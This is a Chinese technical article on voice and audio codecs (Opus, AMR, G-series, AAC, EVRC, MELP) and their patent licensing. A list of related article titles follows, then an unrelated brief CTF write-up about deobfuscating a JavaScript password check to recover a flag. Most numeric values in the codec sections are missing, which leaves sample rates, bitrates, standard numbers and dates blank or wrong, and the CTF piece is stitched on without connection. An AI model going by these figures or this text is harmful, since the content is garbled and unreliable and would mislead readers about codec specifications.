IETF作为标准协议联盟组织之一推出了以上Codec:Opus包括采样率为8kHz、甜点码率为kbps的窄带单声语音(SILK),采样率为kHz、甜点码率为kbps的宽带单声语音与采样率为kHz、甜点码率为kbps的全带单声语音(CELT),采用甜点码率意味着将压缩率和音质保持在一个良好的平衡状态。在一些窄带单声语音应用场景例如常见的微信语音聊天,其压缩率可达到原来的8.5%。Opus没有技术专利和源代码的门槛,使得其受到现在很多流媒体厂商的欢迎,Opus支持更广的码率范围,具备丰富采样率选择,可实现极低延迟与可变帧大小,也具备以往一些Codec的许多特性如CBR、VBR、动态调整等,支持的通道数量也更多。除此之外,Opus同样具备许多从SILK移植而来的特性或功能。如在VUIB传输上集成了扛丢包模式等。
iLBC早在SILK未出现时就被提出同样具备抗丢包。的特性,高达.2kbps的甜点码率与4.的Mos使其音质较为良好,超过G.的相关指标;GSM就是最早手机网络仍停留在2G时代时流行的编码形式,主要用于蜂窝电话的编码任务。
8.2 AMR系列
AMR早在3G时期就被广泛应用,AMR-NB是最流行的语音编码器,具有压缩效果好,支持多种码率形式的特点;与此同时,这也是GSM与3G时期Android平台最早支持的窄带语音编码方案。AMR-WB作为AMR-NB向宽带的扩展版,主要用于3G和4G通话标准协议中,其甜点码率为.kbps。在实践中我们将码率参数调整为此值即可实现压缩率与质量的平衡。AMR-WB+则是上述两者的融合,三者共同构成AMR系列。
8.3 ITU-T G系列
ITU-T G系列包括最早的波形编码G到现在大家熟悉的G.这里我想强调的是G.1 Siren7、G.1c Siren与G Siren,例如G.可覆盖整个前频带且支持立体声。即使都属于老协议,但由于其优秀的兼容性,不应被我们忽略。
将Opus与其他一些Codec进行对比我们可以看到,无论是质量还是延时控制,Opus的优势十分明显;加之Opus作为开源的免费方案,不存在专利限制,受到业界追捧也不足为奇。
8.4 ISO系列
ISO里我想强调的是MP3与AAC,二者同样支持很多码率。MP3的甜点码率为kbps,MP3 Pro的码率可达到MP3的一半;AAC支持8~khz的采样率,AAC-LC的甜点码率为kbps,HE-AAC的甜点码率为kbps,AAC-LD与ELD做到了AAC的低延时,实现了延时与压缩比的最佳平衡。
8.5 3GPP系列:EVRC
EVRC 是CDMA 中使用的语音编解码器,由高通公司年提出目标是取代QCELP。
高通公司主推的3GPP是CDMA中使用的语音编解码器,在未来选择编解码器类型时我们需要特别考虑延时与帧长。由于语音编码种类很多,帧长也是复杂多变的,其背后的算法复杂程度,RAM、ROM占用等都是在实践当中需要着重考虑的。
8.6 极低码率
极低码率主要的应用场景是对讲机、卫星通讯、军工等。
上图图表中的MELP最早由美国军方开发,现在绝大多数的对讲机都基于此模型进行扩展开发,压缩后的码率可达到2.4kbps而目前最极端的极低码率可实现bps,相当于压缩为原数据的0.2%,此时的音频文件仅能被用于传达语音内容而丢失了很多声色。
8.7 全频带
全频带中的组合也是多种多样。
9、编解码使用注意
9.1 License
▲ 开源项目常用的Lisence
国内大部分企业在开发时容易忽视包括专利安全性在内的与License相关的内容。如果企业计划得比较长远,需要长期使用某项技术或企业规模不断扩大时则不能不考虑专利问题。专利费用包括Open Source与算法专利,二者完全独立互不干涉,如果我们从某家专利公司购买了AAC的专利算法,并不能获得此AAC专利的源代码,仅能获得与此技术相关的专利使用授权。专利公司会给予需要下载的文件列表,通过这种方式实现技术的授权使用。
▲ 一张图看懂Lisence(来自:阮一峰的博客)
上面的二叉树图比较清晰地展示了代码授权的具体流程,随着企业的规模化发展日趋成熟,企业应当规范自身的技术使用行为,尽可能避免专利纠纷带来的不利影响。
9.2 专利
▲ 2个著名的多媒体技术专利池
主流语音编解码技术拥有两个专利池:
1)MPEG-LA;
2)Via Licensing。
很多非常复杂的Codec涉及高达上千个专利,与之相关的企业或组织多达几十个,为专利授权而与每一个企业或组织进行洽谈显然是不现实的,因而专利池的出现使得技术授权更加规范清晰,方便企业统一处理技术授权问题。
9.3 常见Codec Patent License
希望大家在使用技术的同时尊重知识产权,助力技术创新可持续发展。
、讲稿PPT下载
(因无法上传附件,请从原文附件下载:
/thread--1-1.html)
附录:更多音视频技术资料
实时音视频开发的其它精华资料:
《实时语音聊天中的音频处理与编码压缩技术简述》
《网易视频云技术分享:音频处理与压缩技术快速入门》
《学习RFC:RTP/RTCP实时传输协议基础知识》
《基于RTMP数据传输协议的实时流媒体技术研究(论文全文)》
《声网架构师谈实时音视频云的实现难点(视频采访)》
《浅谈开发实时视频直播平台的技术要点》
《还在靠“喂喂喂”测试实时语音通话质量?本文教你科学的评测方法!》
《实现延迟低于毫秒的P实时音视频直播的实践分享》
《移动端实时视频直播技术实践:如何做到实时秒开、流畅不卡》
《如何用最简单的方法测试你的实时音视频方案》
《技术揭秘:支持百万级粉丝互动的Facebook实时视频直播》
《简述实时音视频聊天中端到端加密(E2EE)的工作原理》
《移动端实时音视频直播技术详解(一):开篇》
《移动端实时音视频直播技术详解(二):采集》
《移动端实时音视频直播技术详解(三):处理》
《移动端实时音视频直播技术详解(四):编码和封装》
《移动端实时音视频直播技术详解(五):推流和传输》
《移动端实时音视频直播技术详解(六):延迟优化》
[总结]HTML+JS逆向混淆混合
国外的编程考试确实富有挑战性,这次的题目聚焦于HTML网页与JS混淆技术的逆向分析。
开始时,我们面对的是一个包含加密判断的HTML页面,关键代码隐藏在checkPassword函数中。对于这样的逆向工程,熟悉JS混淆是必不可少的步骤。
首先,我们采取了提取关键代码的策略,借助在线的javascript去混淆工具,如deobfuscate.relative.im,对混淆代码进行处理。
经过解混淆后,我们发现flag的长度为位。接着,MD5加密算法以及两个MD5字符串的出现让人一时摸不着头绪。看似无关的线索,实际上隐藏着逻辑。
通过深入审计整个代码,我们发现输入的flag实际上是被分段处理和比较的。巧妙地在控制台输出相关信息,逐步揭示了加密规则。最终,我们成功解密并获取到flag:uoft{ THR3M_PR0V3D!}